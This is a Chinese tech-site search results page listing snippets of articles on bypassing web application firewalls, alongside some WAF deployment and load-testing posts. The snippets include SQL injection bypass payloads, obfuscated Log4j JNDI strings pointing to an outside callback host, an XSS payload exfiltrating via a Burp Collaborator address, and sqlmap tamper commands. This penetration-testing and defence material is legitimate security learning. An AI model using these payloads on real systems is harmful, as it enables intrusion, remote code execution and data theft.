首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏白安全组

    实战挖掘公益src(绕过waf)

    成功找到一个sql注入 手工测试,发现有waf 此刻我们过一波waf 首先burp抓包 改成post型 ? ? 此刻是post型 复制出来 ? 到这里就差不多了 修复方式: 对get,post,cookie传递过来的值过滤对一些sql语句关键字过滤or and && select if () union from等再加个云waf

    2.9K51发布于 2020-10-10
  • 来自专栏农夫安全

    实战绕过某商业Waf(注入)

    环境:apache+php+mysql(使用的phpstudy的集成环境) 最新版安全狗:刚从官网下载来的 注入点: 常规的and 1=1判断测试: 被拦截,用/**/代替空格:成功绕过 http:/

    903100发布于 2018-03-30
  • 来自专栏FreeBuf

    MySQL绕过WAF实战技巧

    对于只看宏观文章,没有实战的演练,无疑是很好的案例。 三、具体实现 本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php? 这里代表Group By可以工作,waf不能阻塞。 ? 然后用如下测试:这里代表是25列。 ? 4、下面测试如何Bypass Order By。 id=213’ UnIoN%A0SeLeCT 1,2,3,4,5,6 — - ? id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- - 这里依然被waf拦截。 ? 如图所示:oh shit….依然被waf拦截。 ? 接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。

    1.3K70发布于 2018-02-26
  • 来自专栏Khan安全团队

    Log4j Bypass WAF Payloads

    /sploit} ${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk } ${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${lower:${lower:jndi }}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${lower:j}${lower:n}${lower:d}i:${ //nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} ${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk ${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

    1.6K50编辑于 2021-12-15
  • 来自专栏网络安全自修室

    干货 | 实战绕过WAF各种姿势总结

    主要有安全狗、云锁等 硬件WAF: 主流防御流量和部分WEB攻击,常见硬件WAF如天融信、启明星辰、深信服、安恒等。 云WAF: 如阿里云等。 WAF部署在哪里 在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。 通过下图我们可以大概了解: 绕WAF的理解 在我自己看来,所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。 实战常遇技巧 当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass。 然后检测内容 这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的 (1) 删掉content-type (2) 构造多个filename (3)content-type后面加TABLE键 (4)

    4.9K11编辑于 2022-03-30
  • 来自专栏Ms08067安全实验室

    浅谈Bypass Waf - 下(实战篇)

    从回包的状态码403和Server值可以判断是被Waf拦截了。 那么这时如果我们想要绕Waf的话,就要去思考它对应的正则匹配的规则可能存在的情况了: 1.匹配script 2.匹配alert 3.匹配<.*? > 4.匹配<script> 5.匹配<script>.*?alert.*?</script> 注:.*?表示非贪婪比配,可以匹配任意字符,直到下一个字符出现为止。例如:<.*? 那就再简单猜测一下对应的Waf规则吧: 1.匹配onerror= 2.匹配alert(.*?) 3.匹配on.*?=alert(.*?) 4.匹配on.*?=.*?alert(.*?) 也无需测试都会被Waf拦截。

    87540编辑于 2022-02-17
  • 来自专栏信安之路

    waf 实战之 xss 漏洞利用

    可以看到被 WAF 拦截。 0x02 WAF 绕过 在这个点上测试了一天都没能绕过,在以为专注 WAF 绕过研究的大神帮助下,发现一个可用的 Payload,长下面的样子: []["\146\151\154\164\145\162 结合 burp 来进行漏洞利用的验证,将下面的 payload 进行转换: var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net 总结 以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截 ,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。

    2.1K10编辑于 2022-10-04
  • 来自专栏信安之路

    AI 帮我绕 WAF实战案例

    id=26-p id --tamper=space2comment,equaltolike,between --current-db --random-agent 检测显示存在 WAF: 不管它,让它继续检测

    18000编辑于 2025-06-09
  • 来自专栏CSIG质量部压测团队

    【项目实战-8】waf压测最佳实践

    91.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,定位是WAF的问题。 从CLB压过去没有任何问题,但是经过WAF之后,出现掉坑现象,所以一开始就怀疑是WAF限频问题,询问了WAF的同学是不是触发了什么策略。 92.png WAF的同学查看告警模块,发现触发了ipset封堵策略。 19:30:20开始出现掉坑 ,然后出现WAF ipset封堵策略告警,时间是刚好对应的上。 93.png 让WAF的同学对其加白,问题得以解决。 95.png 【总结】 首先要确定压测链路是什么。 一步一步缩小压测环节,快速定位问题。 然后根据波形图进行合理猜测。

    93230发布于 2021-02-23
  • 来自专栏debugeeker的专栏

    WAF专题1--WAF功能

    WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。那么WAF有什么功能呢? 防火墙都是防御性的产品,有防就有攻,要了解WAF有什么功能,就要从攻击者的角度去思考。 攻击的目的要么是为了利益,要么是为了炫技。目前攻击者大多都是闷声发大财,很少会为了炫技而惹上麻烦。

    2.3K10发布于 2019-06-14
  • 腾讯云WAF实战指南

    摘要 本文深入解析SQL注入攻击的原理与危害,结合腾讯云Web应用防火墙(WAF)的核心能力,提供从基础防护到高级防御的完整解决方案。 腾讯云WAF凭借AI+规则双引擎、全量日志分析和30线BGP防护等特性,成为拦截SQL注入的标杆方案。 攻击类型 案例描述 损失规模 数据泄露 电商平台用户信息遭窃取 2.3亿美元赔偿 系统破坏 金融系统数据库被清空 业务停摆72小时 后门植入 政府网站植入WebShell 持续3个月数据篡改 二、腾讯云WAF 识别变异注入语句(如十六进制编码绕过) 规则动态更新:每周同步全球威胁情报,覆盖OWASP Top10最新变种 0day漏洞应急响应: 7×24小时漏洞监测,24小时内下发虚拟补丁(如Log4j 规则库) if "UNION SELECT" in request.GET and "information_schema" in request.GET: trigger_waf_block(

    20910编辑于 2025-12-05
  • 来自专栏HACK学习

    实战 | WAF-Bypass之SQL注入绕过安全狗

    超大数据包绕过 绕过原理 资源限制:WAF长度资源限制 假如HTTP请求POST BODY太大,检测所有内容,WAF集群消耗太多的CPU、内存资源。因此许多WAF只检测前面的2M或4M的内容。 ,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。 所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。 [User]/**/where id=1 那么意味着在注释符中可以添加大量的无效字符来打破WAF的规则匹配。 BackColor="White" BorderColor="#3366CC" BorderStyle="None" BorderWidth="1px" CellPadding="4"

    3.4K40编辑于 2021-12-21
  • 来自专栏HACK学习

    实战 | WAF-Bypass之SQL注入绕过思路总结

    WAF(针对云WAF) 寻找真实IP(源站)绕过 如果流量都没有经过WAFWAF当然无法拦截攻击请求。 IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码 IIS6, 7.5, 8, 10 -ASPX (v4. select 1)a join (select 2)b ’‘ ==> "" 'admin' ==> 0x61646D696E select * from users where id = 1 order 4 select * from users where id=1 UNION SELECT 1,2,3,4; select * from users where id=1 UniON SelECT 1,2,3,4 %e0%80%a8 右括号) %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9 Emoji表情字符绕过 emoji是一串unicode字集组成,一个emoji图标可以占2、4

    5.5K10编辑于 2022-02-17
  • 来自专栏CSIG质量部压测团队

    【项目实战-14】WAF QPS套餐不够,压不上去

    38.png 39.png 【问题分析和排查思路】 分析问题之前,先上官网的压测链路: 压测机(运行Jmeter脚本)--> WAF --> CLB --> Node集群(Web) 通过链路排查,排除了 40.png 找了运维同学查看WAF设置,发现QPS被限制在10万左右,需要升级套餐。 41.png 把QPS套餐升级到23.5万,问题得以解决。

    72720发布于 2021-02-23
  • 来自专栏渗透云笔记

    WAF的介绍与WAF绕过原理

    黑盒绕过 架构层绕过 WAF 寻找源站(针对云 WAF) 利用同网段(绕过防护区域:例如WAF部署在同一网段的出口,使用网段的主机进行攻击,流量不经过WAF 。) concat/**/() concat%250c() concat%250() 浮点数词法解析 select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0 利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略) extractvalue(1, concat MYSQL1nigth Oselect{x table_name}from{x information_schema.tables}; Fuzz绕过 上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破

    6.4K20发布于 2019-11-11
  • 来自专栏debugeeker的专栏

    WAF专题2--WAF部署模式

    WAF也是防火墙,那么它应该是部署在哪里呢?在部署上,它和传统防火墙有什么区别呢? 传统防火墙处理的消息格式大多是格式化,基本上内容都是固定或者索引方式。 而WAF处理的消息是文本,是非格式化消息,都是可变的。在处理这两种不同的消息格式,在性能上的消耗相差非常大。

    2.3K10发布于 2019-06-14
  • 来自专栏安全开发记录

    如何做一款好的waf产品(4)

    4.可以定制攻击的特征及其响应事件。 4.策略共享,该WAF的策略是否可以共享到其他的系统,如何控制策略的版本? 4.对策略进行检查 1. 审计安全策略并对之生成报告,审计方法? 2. 策略的变化是否进行了审计?审计都包括那些细节 (如: 更改的内容, 日期, 时间, 管理员等)。 4 远程管理,我们建议在安全的网络上对WAF进行远程管理。这使得管理员的维护工 作变得更安全,同时管理的网络流量需要能方便的通过防火墙并且要进行加密,以防被截获。 2.恶意请求的百分比 3.阻断的请求百分比 4.错误数 5.识别出的浏览器类型 (通过对 User-Agent header的判断得到) 6.访问最频繁的URL 这些数据应该存储在容易获取到的日志中,

    66620发布于 2021-08-11
  • 来自专栏闪石星曜CyberSecurity

    实战|记一次SQL注入过WAF思路分享

    nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字

    87630发布于 2019-10-31
  • 来自专栏玄魂工作室

    实战|记一次SQL注入过WAF思路分享

    nice 有WAF, 赶紧去访问网站看看IP有没有被封 还好, 没有被封 ? 显示payload, 看看是哪句被拦截了 sqlmap -u "http://www.xxx.com? 将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了 ? 手工模糊测试, 发现被拦截的为关键字: FROM ? 这里说下个人思路: 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去 sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字

    1K10发布于 2019-11-18
  • 来自专栏数通

    细说WAF

    在这篇文章中,我们将深入探讨WAF的工作原理、分类、特点和实现方式,以及如何选择和部署WAF,以帮助读者更好地理解WAF的功能和应用。 一、WAF的工作原理 WAF可以通过对Web应用程序的流量进行过滤和监控,识别并阻止潜在的安全威胁。 二、WAF的分类 WAF可以在多个层次对Web应用程序进行保护。 常见的WAF包括以下几种: 硬件WAF:硬件WAF通常是一种独立设备,它可以与网络交换机、路由器等设备集成,拦截来自外部网络的流量,并对Web应用程序进行保护。 云WAF:云WAF通常是一种基于云的服务,可以将Web应用程序的流量转发到云端进行处理。云WAF可以提供全球分布的节点,从而提高Web应用程序的可用性和性能。

    1.4K10编辑于 2024-12-03
领券